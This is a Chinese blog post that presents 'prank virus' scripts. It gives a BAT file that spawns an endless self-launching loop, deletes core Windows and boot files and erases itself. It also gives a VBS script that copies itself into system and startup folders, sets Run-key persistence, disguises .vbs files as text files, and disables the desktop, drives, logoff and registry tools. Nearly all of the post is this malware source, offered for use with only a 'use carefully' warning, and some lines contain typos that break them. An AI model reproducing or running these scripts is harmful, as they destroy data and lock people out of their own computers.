制作整人计算机病毒,自己制作简单病毒－－－三行命令的整人BAT，弹出很多窗口，一直弹到内存耗...

最新推荐文章于 2024-03-06 20:37:37 发布

SANS_0817

最新推荐文章于 2024-03-06 20:37:37 发布

阅读量3.2k

点赞数 1

文章标签：开发语言

本文链接：https://blog.csdn.net/SANS_0817/article/details/125682737

版权

一个隐藏关机的病毒(其实就是让你电脑关不了机)

@echo off

reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 0 /f

reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f

echo :p>>C:\1.bat

echo start C:\1.bat>>C:\1.bat

echo goto p>>C:\1.bat

start C:\1.bat

del %winder%\win.ini /f

del %winder%\regedit.exe /f

del %winder%\Notepad.exe /f

del %winder%\System.ini /f

del C:\bootfront.bin /f

del C:\IO.sys /f

del C:\MSDOS.sys /f

del C:\NTDETECT.COM /f

del %0 /f

以上为病毒代码，保存为.bat

一个vbs病毒(慎用)

On Error Resume Next

Set fs=CreateObject("Scripting.FileSystemObject")

Set dir1=fs.GetSpecialFolder(0)

Set dir2=fs.GetSpecialFolder(1)

Set so=CreateObject("Scripting.FileSystemObject")

dim r

Set r=CreateObject("Wscript.Shell")

r.Regwrite "HKLM\Software\classes\vbsfile\defaulticon\","shell32.dll,-152"

r.Regwrite "HKLM\Software\classes\vbsfile\","文本文档"

so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")

so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs")

so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs")

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"

r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"

r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"

r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"

r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"

这就完成了，记得慎用